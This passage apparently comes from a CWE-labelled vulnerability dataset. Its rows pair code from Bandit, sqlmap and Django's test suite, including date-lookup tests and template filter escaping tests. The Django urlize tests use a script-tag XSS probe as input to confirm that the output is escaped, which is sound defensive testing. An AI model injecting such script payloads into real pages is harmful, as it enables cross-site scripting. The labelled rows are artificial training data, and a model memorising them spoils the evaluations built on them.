        LOG.error(""Bandit baseline must be called from a git project root"")
        valid = False

    except git.exc.GitCommandNotFound:
        LOG.error(""Git command not found"")
        valid = False

    else:
        if repo.is_dirty():
            LOG.error(
                ""Current working directory is dirty and must be "" ""resolved""
            )
            valid = False

    # if output format is specified, we need to be able to write the report
    if output_format != default_output_format and os.path.exists(report_fname):
        LOG.error(""File %s already exists, aborting"", report_fname)
        valid = False

    # Bandit needs to be able to create this temp file
    if os.path.exists(baseline_tmp_file):
        LOG.error(
            ""Temporary file %s needs to be removed prior to running"",
            baseline_tmp_file,
        )
        valid = False

    # we must validate -o is not provided, as it will mess up Bandit baseline
    if ""-o"" in bandit_args:
        LOG.error(""Bandit baseline must not be called with the -o option"")
        valid = False

    return (output_format, repo, report_fname) if valid else (None, None, None)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/dates/tests.py,0,"def test_related_model_traverse(self):
        a1 = Article.objects.create(
            title=""First one"",
            pub_date=datetime.date(2005, 7, 28),
        )
        a2 = Article.objects.create(
            title=""Another one"",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3 = Article.objects.create(
            title=""Third one, in the first day"",
            pub_date=datetime.date(2005, 7, 28),
        )

        a1.comments.create(
            text=""Im the HULK!"",
            pub_date=datetime.date(2005, 7, 28),
        )
        a1.comments.create(
            text=""HULK SMASH!"",
            pub_date=datetime.date(2005, 7, 29),
        )
        a2.comments.create(
            text=""LMAO"",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3.comments.create(
            text=""+1"",
            pub_date=datetime.date(2005, 8, 29),
        )

        c = Category.objects.create(name=""serious-news"")
        c.articles.add(a1, a3)

        self.assertSequenceEqual(
            Comment.objects.dates(""article__pub_date"", ""year""), [
                datetime.date(2005, 1, 1),
                datetime.date(2010, 1, 1),
            ],
        )
        self.assertSequenceEqual(
            Comment.objects.dates(""article__pub_date"", ""month""), [
                datetime.date(2005, 7, 1),
                datetime.date(2010, 7, 1),
            ],
        )
        self.assertSequenceEqual(
            Comment.objects.dates(""article__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
                datetime.date(2010, 7, 28),
            ],
        )
        self.assertSequenceEqual(
            Article.objects.dates(""comments__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
                datetime.date(2005, 7, 29),
                datetime.date(2005, 8, 29),
                datetime.date(2010, 7, 28),
            ],
        )
        self.assertQuerysetEqual(
            Article.objects.dates(""comments__approval_date"", ""day""), []
        )
        self.assertSequenceEqual(
            Category.objects.dates(""articles__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
            ],
        )",CWE-Unknown,django/django,0c1f71635f8a3f32195e1573fe929c7d88a78511,"def test_related_model_traverse(self):
        a1 = Article.objects.create(
            title=""First one"",
            pub_date=datetime.date(2005, 7, 28),
        )
        a2 = Article.objects.create(
            title=""Another one"",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3 = Article.objects.create(
            title=""Third one, in the first day"",
            pub_date=datetime.date(2005, 7, 28),
        )

        a1.comments.create(
            text=""Im the HULK!"",
            pub_date=datetime.date(2005, 7, 28),
        )
        a1.comments.create(
            text=""HULK SMASH!"",
            pub_date=datetime.date(2005, 7, 29),
        )
        a2.comments.create(
            text=""LMAO"",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3.comments.create(
            text=""+1"",
            pub_date=datetime.date(2005, 8, 29),
        )

        c = Category.objects.create(name=""serious-news"")
        c.articles.add(a1, a3)

        self.assertQuerysetEqual(
            Comment.objects.dates(""article__pub_date"", ""year""), [
                datetime.date(2005, 1, 1),
                datetime.date(2010, 1, 1),
            ],
            lambda d: d,
        )
        self.assertQuerysetEqual(
            Comment.objects.dates(""article__pub_date"", ""month""), [
                datetime.date(2005, 7, 1),
                datetime.date(2010, 7, 1),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Comment.objects.dates(""article__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
                datetime.date(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.dates(""comments__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
                datetime.date(2005, 7, 29),
                datetime.date(2005, 8, 29),
                datetime.date(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.dates(""comments__approval_date"", ""day""), []
        )
        self.assertQuerysetEqual(
            Category.objects.dates(""articles__pub_date"", ""day""), [
                datetime.date(2005, 7, 28),
            ],
            lambda d: d,
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def commonFinderOnly(initial, sequence):
    """"""
    Returns parts of sequence which start with the given initial string

    >>> commonFinderOnly(""abcd"", [""abcdefg"", ""foobar"", ""abcde""])
    'abcde'
    """"""

    return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)])",,sqlmapproject/sqlmap,23130aa6bdc4a1848153a18f50fcb63c1255eb26,"def commonFinderOnly(initial, sequence):
    """"""
    Returns parts of sequence which start with the given initial string

    >>> commonFinderOnly(""abcd"", [""abcdefg"", ""foobar"", ""abcde""])
    ['abcdefg', 'abcde']
    """"""
    return longestCommonPrefix([_ for _ in sequence if _.startswith(initial)])"
,UNKNOWN,UNKNOWN,tests/template_tests/filters.py,1,"def get_filter_tests():
    now = datetime.now()
    now_tz = timezone.make_aware(now, timezone.get_default_timezone())
    now_tz_i = timezone.localtime(now_tz, timezone.get_fixed_timezone(195))
    today = date.today()

    # NOTE: \xa0 avoids wrapping between value and unit
    return {
        # Default compare with datetime.now()
        'filter-timesince01' : ('{{ a|timesince }}', {'a': datetime.now() + timedelta(minutes=-1, seconds = -10)}, '1\xa0minute'),
        'filter-timesince02' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(days=1, minutes = 1)}, '1\xa0day'),
        'filter-timesince03' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(hours=1, minutes=25, seconds = 10)}, '1\xa0hour, 25\xa0minutes'),

        # Compare to a given parameter
        'filter-timesince04' : ('{{ a|timesince:b }}', {'a': now - timedelta(days=2), 'b': now - timedelta(days=1)}, '1\xa0day'),
        'filter-timesince05' : ('{{ a|timesince:b }}', {'a': now - timedelta(days=2, minutes=1), 'b': now - timedelta(days=2)}, '1\xa0minute'),

        # Check that timezone is respected
        'filter-timesince06' : ('{{ a|timesince:b }}', {'a': now_tz - timedelta(hours=8), 'b': now_tz}, '8\xa0hours'),

        # Regression for #7443
        'filter-timesince07': ('{{ earlier|timesince }}', {'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince08': ('{{ earlier|timesince:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince09': ('{{ later|timesince }}', {'later': now + timedelta(days=7)}, '0\xa0minutes'),
        'filter-timesince10': ('{{ later|timesince:now }}', {'now': now, 'later': now + timedelta(days=7)}, '0\xa0minutes'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timesince11' : ('{{ a|timesince }}', {'a': now}, '0\xa0minutes'),
        'filter-timesince12' : ('{{ a|timesince }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince13' : ('{{ a|timesince }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince14' : ('{{ a|timesince:b }}', {'a': now_tz, 'b': now_tz_i}, '0\xa0minutes'),
        'filter-timesince15' : ('{{ a|timesince:b }}', {'a': now, 'b': now_tz_i}, ''),
        'filter-timesince16' : ('{{ a|timesince:b }}', {'a': now_tz_i, 'b': now}, ''),

        # Regression for #9065 (two date objects).
        'filter-timesince17' : ('{{ a|timesince:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timesince18' : ('{{ a|timesince:b }}', {'a': today, 'b': today + timedelta(hours=24)}, '1\xa0day'),

        # Default compare with datetime.now()
        'filter-timeuntil01' : ('{{ a|timeuntil }}', {'a': datetime.now() + timedelta(minutes=2, seconds=10)}, '2\xa0minutes'),
        'filter-timeuntil02' : ('{{ a|timeuntil }}', {'a': (datetime.now() + timedelta(days=1, seconds=10))}, '1\xa0day'),
        'filter-timeuntil03' : ('{{ a|timeuntil }}', {'a': (datetime.now() + timedelta(hours=8, minutes=10, seconds = 10))}, '8\xa0hours, 10\xa0minutes'),

        # Compare to a given parameter
        'filter-timeuntil04' : ('{{ a|timeuntil:b }}', {'a': now - timedelta(days=1), 'b': now - timedelta(days=2)}, '1\xa0day'),
        'filter-timeuntil05' : ('{{ a|timeuntil:b }}', {'a': now - timedelta(days=2), 'b': now - timedelta(days=2, minutes=1)}, '1\xa0minute'),

        # Regression for #7443
        'filter-timeuntil06': ('{{ earlier|timeuntil }}', {'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil07': ('{{ earlier|timeuntil:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil08': ('{{ later|timeuntil }}', {'later': now + timedelta(days=7, hours=1)}, '1\xa0week'),
        'filter-timeuntil09': ('{{ later|timeuntil:now }}', {'now': now, 'later': now + timedelta(days=7)}, '1\xa0week'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timeuntil10' : ('{{ a|timeuntil }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil11' : ('{{ a|timeuntil }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil12' : ('{{ a|timeuntil:b }}', {'a': now_tz_i, 'b': now_tz}, '0\xa0minutes'),

        # Regression for #9065 (two date objects).
        'filter-timeuntil13' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timeuntil14' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today - timedelta(hours=24)}, '1\xa0day'),

        'filter-addslash01': (""{% autoescape off %}{{ a|addslashes }} {{ b|addslashes }}{% endautoescape %}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""<a>\' <a>\'""),
        'filter-addslash02': (""{{ a|addslashes }} {{ b|addslashes }}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""&lt;a&gt;\&#39; <a>\'""),

        'filter-capfirst01': (""{% autoescape off %}{{ a|capfirst }} {{ b|capfirst }}{% endautoescape %}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred> Fred&gt;""),
        'filter-capfirst02': (""{{ a|capfirst }} {{ b|capfirst }}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred&gt; Fred&gt;""),

        # Note that applying fix_ampsersands in autoescape mode leads to
        # double escaping.
        'filter-fix_ampersands01': (""{% autoescape off %}{{ a|fix_ampersands }} {{ b|fix_ampersands }}{% endautoescape %}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;b a&amp;b""),
        'filter-fix_ampersands02': (""{{ a|fix_ampersands }} {{ b|fix_ampersands }}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;amp;b a&amp;b""),

        'filter-floatformat01': (""{% autoescape off %}{{ a|floatformat }} {{ b|floatformat }}{% endautoescape %}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),
        'filter-floatformat02': (""{{ a|floatformat }} {{ b|floatformat }}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),

        # The contents of ""linenumbers"" is escaped according to the current
        # autoescape setting.
        'filter-linenumbers01': (""{{ a|linenumbers }} {{ b|linenumbers }}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. &lt;two&gt;\n3. three 1. one\n2. &lt;two&gt;\n3. three""),
        'filter-linenumbers02': (""{% autoescape off %}{{ a|linenumbers }} {{ b|linenumbers }}{% endautoescape %}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. <two>\n3. three 1. one\n2. &lt;two&gt;\n3. three""),

        'filter-lower01': (""{% autoescape off %}{{ a|lower }} {{ b|lower }}{% endautoescape %}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple & banana apple &amp; banana""),
        'filter-lower02': (""{{ a|lower }} {{ b|lower }}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple &amp; banana apple &amp; banana""),

        # The make_list filter can destroy existing escaping, so the results are
        # escaped.
        'filter-make_list01': (""{% autoescape off %}{{ a|make_list }}{% endautoescape %}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list02': (""{{ a|make_list }}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s&#39;&amp;&#39;]"")),
        'filter-make_list03': ('{% autoescape off %}{{ a|make_list|stringformat:""s""|safe }}{% endautoescape %}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list04': ('{{ a|make_list|stringformat:""s""|safe }}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),

        # Running slugify on a pre-escaped string leads to odd behavior,
        # but the result is still safe.
        'filter-slugify01': (""{% autoescape off %}{{ a|slugify }} {{ b|slugify }}{% endautoescape %}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),
        'filter-slugify02': (""{{ a|slugify }} {{ b|slugify }}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),

        # Notice that escaping is applied *after* any filters, so the string
        # formatting here only needs to deal with pre-escaped characters.
        'filter-stringformat01': ('{% autoescape off %}.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.{% endautoescape %}',
            {""a"": ""a<b"", ""b"": mark_safe(""a<b"")}, "".  a<b. .  a<b.""),
        'filter-stringformat02': ('.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.', {""a"": ""a<b"", ""b"": mark_safe(""a<b"")},
            "".  a&lt;b. .  a<b.""),

        # Test the title filter
        'filter-title1' : ('{{ a|title }}', {'a' : 'JOE\'S CRAB SHACK'}, 'Joe&#39;s Crab Shack'),
        'filter-title2' : ('{{ a|title }}', {'a' : '555 WEST 53RD STREET'}, '555 West 53rd Street'),

        'filter-truncatewords01': ('{% autoescape off %}{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}{% endautoescape %}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha & ... alpha &amp; ...""),
        'filter-truncatewords02': ('{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha &amp; ... alpha &amp; ...""),

        'filter-truncatechars01': ('{{ a|truncatechars:5 }}', {'a': ""Testing, testing""}, ""Te...""),
        'filter-truncatechars02': ('{{ a|truncatechars:7 }}', {'a': ""Testing""}, ""Testing""),

        # The ""upper"" filter messes up entities (which are case-sensitive),
        # so it's not safe for non-escaping purposes.
        'filter-upper01': ('{% autoescape off %}{{ a|upper }} {{ b|upper }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A & B A &AMP; B""),
        'filter-upper02': ('{{ a|upper }} {{ b|upper }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A &amp; B A &amp;AMP; B""),

        'filter-urlize01': ('{% autoescape off %}{{ a|urlize }} {{ b|urlize }}{% endautoescape %}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&y="" rel=""nofollow"">http://example.com/?x=&y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize02': ('{{ a|urlize }} {{ b|urlize }}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&amp;y="" rel=""nofollow"">http://example.com/?x=&amp;y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize03': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),
        'filter-urlize04': ('{{ a|urlize }}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),

        # This will lead to a nonsense result, but at least it won't be
        # exploitable for XSS purposes when auto-escaping is on.
        'filter-urlize05': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": ""<script>alert('foo')</script>""}, ""<script>alert('foo')</script>""),
        'filter-urlize06': ('{{ a|urlize }}', {""a"": ""<script>alert('foo')</script>""}, '&lt;script&gt;alert(&#39;foo&#39;)&lt;/script&gt;'),

        # mailto: testing for urlize
        'filter-urlize07': ('{{ a|urlize }}', {""a"": ""Email me at me@example.com""}, 'Email me at <a href=""mailto:me@example.com"">me@example.com</a>'),
        'filter-urlize08': ('{{ a|urlize }}', {""a"": ""Email me at <me@example.com>""}, 'Email me at &lt;<a href=""mailto:me@example.com"">me@example.com</a>&gt;'),

        'filter-urlizetrunc01': ('{% autoescape off %}{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}{% endautoescape %}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '""Unsafe"" <a href=""http://example.com/x=&y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),
        'filter-urlizetrunc02': ('{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '&quot;Unsafe&quot; <a href=""http://example.com/x=&amp;y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),

        'filter-wordcount01': ('{% autoescape off %}{{ a|wordcount }} {{ b|wordcount }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),
        'filter-wordcount02': ('{{ a|wordcount }} {{ b|wordcount }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),

        'filter-wordwrap01': ('{% autoescape off %}{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &\nb a &\nb""),
        'filter-wordwrap02': ('{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &amp;\nb a &\nb""),

        'filter-ljust01': ('{% autoescape off %}.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&b  . .a&b  .""),
        'filter-ljust02': ('.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&amp;b  . .a&b  .""),

        'filter-rjust01': ('{% autoescape off %}.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&b. .  a&b.""),
        'filter-rjust02': ('.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&amp;b. .  a&b.""),

        'filter-center01': ('{% autoescape off %}.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&b . . a&b .""),
        'filter-center02': ('.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&amp;b . . a&b .""),

        'filter-cut01': ('{% autoescape off %}{{ a|cut:""x"" }} {{ b|cut:""x"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&y &amp;y""),
        'filter-cut02': ('{{ a|cut:""x"" }} {{ b|cut:""x"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&amp;y &amp;y""),
        'filter-cut03': ('{% autoescape off %}{{ a|cut:""&"" }} {{ b|cut:""&"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        'filter-cut04': ('{{ a|cut:""&"" }} {{ b|cut:""&"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        # Passing ';' to cut can break existing HTML entities, so those strings
        # are auto-escaped.
        'filter-cut05': ('{% autoescape off %}{{ a|cut:"";"" }} {{ b|cut:"";"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&y x&ampy""),
        'filter-cut06': ('{{ a|cut:"";"" }} {{ b|cut:"";"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&amp;y x&amp;ampy""),

        # The ""escape"" filter works the same whether autoescape is on or off,
        # but it has no effect on strings already marked as safe.
        'filter-escape01': ('{{ a|escape }} {{ b|escape }}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),
        'filter-escape02': ('{% autoescape off %}{{ a|escape }} {{ b|escape }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),

        # It is only applied once, regardless of the number of times it
        # appears in a chain.
        'filter-escape03': ('{% autoescape off %}{{ a|escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-escape04': ('{{ a|escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # Force_escape is applied immediately. It can be used to provide
        # double-escaping, for example.
        'filter-force-escape01': ('{% autoescape off %}{{ a|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape02': ('{{ a|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape03': ('{% autoescape off %}{{ a|force_escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;amp;y""),
        'filter-force-escape04': ('{{ a|force_escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;amp;y""),

        # Because the result of force_escape is ""safe"", an additional
        # escape filter has no effect.
        'filter-force-escape05': ('{% autoescape off %}{{ a|force_escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape06': ('{{ a|force_escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape07': ('{% autoescape off %}{{ a|escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape08': ('{{ a|escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # The contents in ""linebreaks"" and ""linebreaksbr"" are escaped
        # according to the current autoescape setting.
        'filter-linebreaks01': ('{{ a|linebreaks }} {{ b|linebreaks }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&amp;<br />y</p> <p>x&<br />y</p>""),
        'filter-linebreaks02': ('{% autoescape off %}{{ a|linebreaks }} {{ b|linebreaks }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&<br />y</p> <p>x&<br />y</p>""),

        'filter-linebreaksbr01': ('{{ a|linebreaksbr }} {{ b|linebreaksbr }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&amp;<br />y x&<br />y""),
        'filter-linebreaksbr02': ('{% autoescape off %}{{ a|linebreaksbr }} {{ b|linebreaksbr }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&<br />y x&<br />y""),

        'filter-safe01': (""{{ a }} -- {{ a|safe }}"", {""a"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt; -- <b>hello</b>""),
        'filter-safe02': (""{% autoescape off %}{{ a }} -- {{ a|safe }}{% endautoescape %}"", {""a"": ""<b>hello</b>""}, ""<b>hello</b> -- <b>hello</b>""),

        'filter-safeseq01': ('{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}', {""a"": [""&"", ""<""]}, ""&amp;, &lt; -- &, <""),
        'filter-safeseq02': ('{% autoescape off %}{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}{% endautoescape %}', {""a"": [""&"", ""<""]}, ""&, < -- &, <""),

        'filter-removetags01': ('{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x &lt;p&gt;y&lt;/p&gt; x <p>y</p>""),
        'filter-removetags02': ('{% autoescape off %}{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x <p>y</p> x <p>y</p>""),

        'filter-striptags01': ('{{ a|striptags }} {{ b|striptags }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),
        'filter-striptags02': ('{% autoescape off %}{{ a|striptags }} {{ b|striptags }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),

        'filter-first01': ('{{ a|first }} {{ b|first }}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&amp;b a&b""),
        'filter-first02': ('{% autoescape off %}{{ a|first }} {{ b|first }}{% endautoescape %}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&b a&b""),

        'filter-last01': ('{{ a|last }} {{ b|last }}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-last02': ('{% autoescape off %}{{ a|last }} {{ b|last }}{% endautoescape %}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-random01': ('{{ a|random }} {{ b|random }}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-random02': ('{% autoescape off %}{{ a|random }} {{ b|random }}{% endautoescape %}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-slice01': ('{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&amp;b &b""),
        'filter-slice02': ('{% autoescape off %}{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&b &b""),

        'filter-unordered_list01': ('{{ a|unordered_list }}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li>&lt;y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list02': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list03': ('{{ a|unordered_list }}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list04': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list05': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),

        # Literal string arguments to the default filter are always treated as
        # safe strings, regardless of the auto-escaping state.
        #
        # Note: we have to use {""a"": """"} here, otherwise the invalid template
        # variable string interferes with the test result.
        'filter-default01': ('{{ a|default:""x<"" }}', {""a"": """"}, ""x<""),
        'filter-default02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": """"}, ""x<""),
        'filter-default03': ('{{ a|default:""x<"" }}', {""a"": mark_safe(""x>"")}, ""x>""),
        'filter-default04': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": mark_safe(""x>"")}, ""x>""),

        'filter-default_if_none01': ('{{ a|default:""x<"" }}', {""a"": None}, ""x<""),
        'filter-default_if_none02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": None}, ""x<""),

        'filter-phone2numeric01': ('{{ a|phone2numeric }} {{ b|phone2numeric }}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""&lt;1-800-2255-63&gt; <1-800-2255-63>""),
